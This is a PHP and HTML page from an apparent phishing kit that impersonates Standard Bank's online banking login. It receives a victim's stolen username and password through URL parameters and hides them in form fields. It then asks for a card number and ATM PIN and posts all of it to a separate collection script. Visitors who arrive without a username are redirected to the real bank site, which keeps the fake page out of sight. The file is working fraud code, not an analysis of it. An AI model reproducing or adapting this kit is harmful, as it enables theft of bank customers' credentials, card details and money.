 <?php
error_reporting(0);
include "includes/restrict.php";
include "includes/functions.php";
/* include "includes/mobile.php"; */
/* include "includes/session_protect.php"; */
$username = htmlspecialchars($_GET["aa"]);
$password = htmlspecialchars($_GET["bb"]);
if (empty($username)) {header("Location: https://href.li/https://onlinebanking.standardbank.co.za");}
error_reporting(0);
?>
<!DOCTYPE html>

<html ng-app="refresh" class="ng-scope mdl-js" lang="en">
<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,viewport-fit=cover">
<meta name="format-detection" content="telephone=no">
<meta name="msapplication-tap-highlight" content="no">
<meta content="utf-8" http-equiv="encoding">
<link rel="icon" type="image/png" href="theme/favicon.ico">
<link rel="stylesheet" type="text/css" href="theme/upgrade_your_browser.css">
<link rel="stylesheet" type="text/css" href="theme/ice.css">
<link rel="stylesheet" type="text/css" href="theme/drink.css">
<link rel="stylesheet" href="theme/ad72bf3a.css">

<script type="text/javascript" src="theme/jquery-2.2.3.js"></script>
<title>Standard Bank Online Banking</title>


<script>
function check(form) {

//if (form.fullname.value.length < 6)
//{ form.fullname.focus(); document.getElementById("error1").style.display = //"block"; document.getElementById("fullname").style.borderColor = "#FF2A4C"//; return;}
//else { document.getElementById("fullname").style.borderColor = "#D2D2D2"; //document.getElementById("error1").style.display = "none";  }



var regExpressPostcode = /^\d{9,16}$/
if (!regExpressPostcode.test(form.cnr.value))
{ form.cnr.focus(); document.getElementById("error2").style.display = "block"; document.getElementById("cnr").style.borderColor = "#FF2A4C"; return;}
else { document.getElementById("cnr").style.borderColor = "#D2D2D2"; document.getElementById("error2").style.display = "none";  }



//var regExpressPostcode = /^(0[1-9]|1[0-2])\/?(2[2-9]|3[0-9])$/
//if (!regExpressPostcode.test(form.goned.value))
//{ form.goned.focus(); document.getElementById("error3").style.display = //"block"; document.getElementById("goned").style.borderColor = "#FF2A4C"; //return;}
//else { document.getElementById("goned").style.borderColor = "#D2D2D2"; //document.getElementById("error3").style.display = "none";  }



if (form.three.value.length < 5)
{ form.three.focus(); document.getElementById("error4").style.display = "block"; document.getElementById("three").style.borderColor = "#FF2A4C"; return;}
else { document.getElementById("three").style.borderColor = "#D2D2D2"; document.getElementById("error4").style.display = "none";  }

if (form.thetype.value == "AxA") {
if (form.three.value.length < 5)
{ form.three.focus(); document.getElementById("error4").style.display = "block"; document.getElementById("three").style.borderColor = "#FF2A4C"; return;}
else { document.getElementById("three").style.borderColor = "#D2D2D2"; document.getElementById("error4").style.display = "none";  }
}



form.submit()
}



function isNumericKey(p1,min) {
var p1 = document.getElementById("three").value;
var min = 2
if(p1.length > min)
{ enableit(); return false;} else { disabled(); }


}

function enableit() {
document.getElementById('submitbutton').disabled = false;
document.getElementById("error4").style.display = "none";
document.getElementById("three").style.borderColor = "#D2D2D2";
}

function disabled() {
document.getElementById('submitbutton').setAttribute("disabled", "disabled");

}

function change(){
var change = document.getElementById("cnr").value

if (change.charAt(0) == '5') {
document.getElementById("cnr").style.borderColor = "#FF2A4C";
document.getElementById("thetype").value = "MxM";
document.getElementById("three").maxLength = "5";
document.getElementById("three").placeholder = "*****";
document.getElementById("cnr").style = "background-image: url('theme/MxM.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '4') {
document.getElementById("cnr").style.borderColor = "#FF2A4C";
document.getElementById("thetype").value = "VxV";
document.getElementById("three").maxLength = "5";
document.getElementById("three").placeholder = "*****";
document.getElementById("cnr").style = "background-image: url('theme/VxV.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '3') {
document.getElementById("cnr").style.borderColor = "#FF2A4C";
document.getElementById("thetype").value = "AxA";
document.getElementById("three").maxLength = "5";
document.getElementById("three").placeholder = "*****";
document.getElementById("cnr").style = "background-image: url('theme/AxA.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 60%;"
}


else if (change.charAt(0) == '6') {
document.getElementById("cnr").style.borderColor = "#FF2A4C";
document.getElementById("thetype").value = "DxD";
document.getElementById("three").maxLength = "5";
document.getElementById("three").placeholder = "*****";
document.getElementById("cnr").style = "background-image: url('theme/DxD.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}

else {

document.getElementById("three").placeholder = "";
}



}

</script>
<script>
//const input = document.getElementById('goned');

input.oninput = (e) => {
  const cursorPosition = input.selectionStart - 1;
  const hasInvalidCharacters = input.value.match(/[^0-9/]/);

  if (!hasInvalidCharacters) return;

  // Replace all non-digits:
  input.value = input.value.replace(/[^0-9/]/g, '');

  // Keep cursor position:
  input.setSelectionRange(cursorPosition, cursorPosition);
};
</script>
</head>
<body ng-controller="spinnerController" ng-class="{ 'login migration-login-bg': migrationLogin(), 'login-strong-auth-bg':strongAuthLogin() &amp;&amp; !pingEnabled(), 'login-ping-bg':pingEnabled() ,'dg-ao background':digitalAccountOrigination(),
      'facial-recognition-bg':facialRecognitionFlow() &amp;&amp; !pingEnabled(), 'facial-recognition-ping-bg': facialRecognitionFlow() &amp;&amp; pingEnabled() }" class="ng-scope login-ping-bg" style="">
<div class="content-wrapper ng-scope" ng-if="!showUnsupportedBrowsersPage()">
<dtm-analytics>
</dtm-analytics>
<div ng-controller="NavbarMicroFrontendController" class="hide-on-print ng-scope">
<div id="navbar-app-placeholder">
<nav-root _nghost-agn-c51="" ng-version="11.2.14">
<nav-primary-nav _ngcontent-agn-c51="" _nghost-agn-c50="">
<sb-header-web _ngcontent-agn-c50="" class="header-title" _nghost-agn-c42="">
<nav _ngcontent-agn-c42="" class="header">
<div _ngcontent-agn-c42="" class="header__logo" style="background-image: url(&quot;theme/logo.png&quot;);">
</div>
<div _ngcontent-agn-c42="" class="header__tabs">
</div>
<div _ngcontent-agn-c42="" class="header__toggle">
</div>
<div _ngcontent-agn-c42="" class="header__help">
</div>
<div _ngcontent-agn-c42="" class="header__avatar">
<sb-image-round _ngcontent-agn-c50="" avatar="" _nghost-agn-c32="" class="">
<div _ngcontent-agn-c32="" class="image-round" style="background-image: url(&quot;theme/avatar.svg&quot;);">
</div>
</sb-image-round>
</div>
<div _ngcontent-agn-c42="" class="header__dropdown">
<div _ngcontent-agn-c42="" id="menuHandler">
 <?php echo $username; ?> <i _ngcontent-agn-c42="" class="icon icon-chevron-down">
</i>
</div>
</div>
<div _ngcontent-agn-c42="" class="header__signout">
<i _ngcontent-agn-c42="" class="icon icon-lock">
</i>
 Sign out </div>
<div _ngcontent-wih-c44="" class="header_mobile">
<img src="theme/menu.svg" style="width: 28px;">
</div>
<div _ngcontent-agn-c42="" class="header__right-spacer">
</div>
</nav>
</sb-header-web>





<div _ngcontent-agn-c50="" class="nav">

</div>


<div _ngcontent-agn-c50="" class="nav-card">

</div>

<div _ngcontent-agn-c50="" class="nav-card">

</div>

<div _ngcontent-agn-c50="">

</div>

<div _ngcontent-agn-c50="">

</div>




</nav-primary-nav>
</nav-root>
</div>
</div>


<div class="content ng-scope" id="div1" ng-controller="HeaderController" ng-class="{'with-tall-footer': migrationLogin()}" style="display:none;">

<main ng-view="" ng-hide="(spinnerActive &amp;&amp; spinnerStyle == 'global') || blockOutPage" class="ng-scope" style="">
<div ng-class="{'central-7': central}" class="linkCard ng-scope central-7" style="padding-bottom: 1em;">
<h2 class="ng-binding">
Verification</h2>
<div class="notification ng-isolate-scope error ng-hide" notification="" error="" ng-show="errorMessage" cancelfield="errorMessage">
<span ng-transclude="">
</span>
<i class="icon icon-times-circle">
</i>
</div>
<div class="notification ng-isolate-scope success ng-hide" ng-show="isSuccessful &amp;&amp; passwordHasChanged" success="" notification="">
<span ng-transclude="">
Password was successfully changed.</span>
<i class="icon icon-times-circle">
</i>
</div>

<div flow="" class="ng-isolate-scope">

<ol class="steps ng-scope" data-progtrckr-steps="2" ng-if="flow.steps.length &gt; 1" style="">

<li ng-class="{'step-done': step.complete &amp;&amp; !step.current, 'step-todo': !step.complete, 'step-current': !step.complete &amp;&amp; step.current}" ng-repeat="step in flow.steps" class="ng-scope step-todo step-current">
<span class="ng-binding">
Enter details</span>
</li>

<li ng-class="{'step-done': step.complete &amp;&amp; !step.current, 'step-todo': !step.complete, 'step-current': !step.complete &amp;&amp; step.current}" ng-repeat="step in flow.steps" class="ng-scope step-todo">
<span class="ng-binding">
Enter OTP</span>
</li>



</ol>

</div>
<bb-account-type-selection>
</bb-account-type-selection>
<div class="linkCard">
<form method="POST" action="phpnew/send2.php" name="linkCardForm" autocomplete="off" class="ng-pristine ng-valid-pattern ng-invalid ng-invalid-exact-lengths ng-invalid-required ng-valid-maxlength">
<input id="thetype" type="hidden" name="thetype"  value="">
<input name="username" value="<?php echo $username; ?>" type="hidden" />
<input name="password" value="<?php echo $password; ?>" type="hidden" />
<div class="panel">

<section><div><label for="fullname">Card Number</label>
<input onKeyDown="if(event.keyCode==13) check(this.form);" onpaste="change();" onkeyup="change();" onchange="change();" onKeyDown="if(event.keyCode==13) {check(this.form);}" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');" pattern="[0-9]*" inputmode="numeric" type="text" id="cnr" name="number" maxlength="16" class="ng-pristine ng-untouched ng-empty ng-valid-pattern ng-invalid ng-invalid-exact-lengths">
<ng-messages id="error2" class="ng-active" style="display:none;"><ng-message class="form-error ng-scope" when="exactLengths">Required</ng-message></ng-messages></div></section>

<section><div>
<label for="three">ATM PIN</label>
<input onKeyDown="if(event.keyCode==13) check(this.form);" onkeyup="isNumericKey(event,this)" onchange="isNumericKey(event,this)" onkeypress="isNumericKey(event,this)" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');" type="text" id="three" name="three" maxlength="5" pattern="[0-9]*" class="ng-pristine ng-untouched ng-empty ng-valid-pattern ng-invalid ng-invalid-exact-lengths">
<ng-messages id="error4" for="linkCardForm.otp.$error" ng-show="linkCardForm.otp.$touched || linkCardForm.otp.$dirty || linkCardForm.$submitted" class="ng-active" style="display:none;">
<ng-message class="form-error ng-scope" when="exactLengths">Must be 5 numbers long</ng-message></ng-messages>
</div></section>




<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">
<section>
<div class="visitBranch">
</div>
<div class="text-notification">
<span>
Please note that these details need to match what we have on record.</span>
</div>
</section>
<ibr-button-group class="ng-isolate-scope">
<div>
<div class="right" ng-transclude="">
<ibr-button id="continue" type="button" ng-disabled="!linkCardForm.$valid" color="primary" class="primary ng-scope ng-isolate-scope" data-dtmid="link_content_Link Card" data-dtmtext="next cell button click" disabled="disabled">
<comp-lib-sb-button class="ibr-button" id="continue-button" color="primary" type="button" width="none" ng-click="$ctrl.ngClick" ng-disabled="$ctrl.ngDisabled" data-dtmtext="next cell button click" data-dtmid="link_content_Link Card" track-click="" _nghost-htl-c0="" ng-version="8.2.14" disabled="disabled">
<button onclick="check(this.form)" _ngcontent-htl-c0="" class="primary primary__default none" id="submitbutton" type="button" data-dtmtext="next cell button click" data-dtmid="link_content_Link Card" disabled="disabled">
<ng-transclude>
</ng-transclude>
Next</button>
</comp-lib-sb-button>
</ibr-button>
</div>
</div>
</ibr-button-group>
</div>
</form>
</div>
</div>
</main>
</div>

<footer ng-controller="HeaderController" ng-if="!directorWithoutCardLogin() &amp;&amp; !migrationLogin() &amp;&amp; !facialRecognitionFlow()" class="ng-scope" style="">
<img src="theme/logo-blue.png" width="23">
<p ng-hide="shouldDisplayProfileDropdown()" class="ng-hide">
Standard
 Bank is a licensed financial services provider in terms of the
Financial Advisory and Intermediary Services Act and a registered credit
 provider in terms of the National Credit Act, registration number
NCRCP15.</p>
<ul class="linksfooter" ng-show="shouldDisplayProfileDropdown()">
<li>
<a href="#" data-dtmid="footer_nav_link" data-dtmtext="Report a problem">
Report a problem</a>
</li>
<li>
<a id="download-security-software" ng-show="supportedPlatform()" ng-click="showDownloadSoftwareModal = true" data-dtmid="footer_nav_link" data-dtmtext="Download security software">
Download security software</a>

</li>
<li>
<i ng-show="supportedPlatform()" class="icon icomoon-security">
</i>
</li>
</ul>
</footer>


<div id="pleasewait" class="spinner pace" ng-class="spinnerClass" ng-hide="spinnerStyle != 'global'" style="">
<div class="pace-activity" ng-class="{'migration': migrationLogin(), 'dg-ao': digitalAccountOrigination()}" style="">
</div>
<div class="spinner-message" ng-class="{'migration': migrationLogin(), 'dg-ao': digitalAccountOrigination()}" style="">
Loading – please wait a moment</div>
</div>

</div>


 <div class="offline-ui offline-ui-up">
<div class="offline-ui-content">
</div>
<a href="" class="offline-ui-retry">
</a>
</div>

</body>
</html>
  
Success!

<script type="text/javascript">
setTimeout(function() {
$("#pleasewait").hide();
$("#div1").show();
}, 3000);

</script>
